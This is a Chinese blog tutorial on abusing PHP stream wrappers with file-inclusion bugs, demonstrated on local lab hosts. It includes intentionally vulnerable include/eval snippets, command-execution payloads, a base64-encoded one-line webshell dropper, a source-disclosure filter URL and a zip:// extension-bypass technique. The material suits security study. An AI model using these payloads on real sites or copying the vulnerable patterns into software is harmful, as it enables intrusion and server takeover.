003-漏洞梳理篇之php伪协议

一、环境概要:

PHP伪协议指的是PHP所支持的协议与封装协议,在web渗透漏洞利用中常用于配合文件包含进行web攻击,从而获取网站权限。

1.php.ini配置文件参数:

  • allow_url_fopen :on #默认开启 ,表示允许url里的封装协议访问文件;
  • allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;

2.常用伪协议条件及方法

在这里插入图片描述
3.注意点

①各个伪协议适用php版本不尽相同,以下php版本在5.2~5.7之间疯狂来回切换,到最后已经无法总结各协议实验成功所使用的php版本。总之:php>5.2.0
②以下所有实例均使用Firefox浏览器


二、伪协议实例

1.php://input

php://input 是可以访问请求原始数据的只读流。在POST 请求的情况下,由于 php://input 不依赖于特定的 php.ini 指令,可以使用它代替 $HTTP_RAW_POST_DATA。

注意点
①input必须以post请求
②enctype=“multipart/form-data” 的时候 php://input 是无效的
③allow_url_include=on

实例一:php://input将文件包含漏洞变成代码执行漏洞

①目标网站存在包含漏洞

<?php @include($_GET["file"])?>

②使用php://input,将执行代码通过在POST data中提交

<?php system('ipconfig');?>

在这里插入图片描述


实例二:php://input利用文件包含写入shell

①目标网站存在包含漏洞

<?php @include($_GET["file"])?>

②使用php://input,将执行代码通过在POST data中提交

#post方式提交
<?php 
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

执行成功会在当前目录下生成一句话shell,可直接连接
在这里插入图片描述


实例三:php://input协议直接写入shell

①含有php://input的代码漏洞文件:

<?php 
$data = file_get_contents('php://input'); 
eval($data); 
?>

POST直接传参执行php代码:
在这里插入图片描述同理,这里在post数据提交生成shell的代码,会在同级目录下生成shell:

echo file_put_contents("ceshi.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));

在这里插入图片描述
需要注意的是,此方法使用条件为:
1.allow_url_include = On
2. PHP >= 5.2.0
3. 当前文件有写入权限


2.data:URL代码执行

将攻击代码转换为data:URL形式进行攻击,以传递相应格式的数据用来执行PHP代码。为了防止直接在URL连接中的一些敏感字符被waf检测拦截,可将攻击代码进行base64编码。

#文件包含代码:
<?php include $_GET['file']?>   
访问执行:
127.0.0.1/1.php?file=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==

在这里插入图片描述
条件:allow_url_include = on&allow_url_fopen()=on& PHP >= 5.2.0


3.php://filter读取源代码

php://filter用于读取网站源码。读取php文件源码内容(直接包含脚本格式文件会解析无法直接获取文件源码)。用法:

http://192.168.1.3/1.php?file=php://filter/read=convert.base64-encode/resource=1.php

在这里插入图片描述


4.file://物理路径包含文件

file:// 协议在allow_url_fopen,allow_url_include都为off的情况下也可以正常使用:

http://192.168.1.3/1.php?filename=file:///C:\\phpStudy\\WWW\\fileinclude\\2\\1.txt

在这里插入图片描述


5.data://:利用文件包含&data://可进行命令执行

http://192.168.1.3/1.php?filename=data://text/plain,%3C?php%20system(%27whoami%27);?%3E

在这里插入图片描述


6.zip://绕过文件包含下的附加后缀

以下两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况,如果要包含非预定文件后缀的文件,可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了,而且还要考虑GPC,限制比较严重。除此之外,可以通过zip协议和phar协议来包含文件,突破附加后缀限制。

# 验证包含对象文件后缀是否为jpg,如果是才进行包含
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
	include($file);
}
?>
#直接为包含对象添加jpg后缀,然后进行包含
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

绕过方法:
①实战情况下往目标站点上传zip文件,里面压缩着一个jpg格式的php脚本。
在这里插入图片描述
②构造zip://php.zip#php.jpg,进行zip://伪协议绕过后缀名限制。这里将压缩文件里面的内容修改为在当前目录下生成一句话即可getshell。

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

在这里插入图片描述


在这里插入图片描述


版权声明:本文为weixin_44508748原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。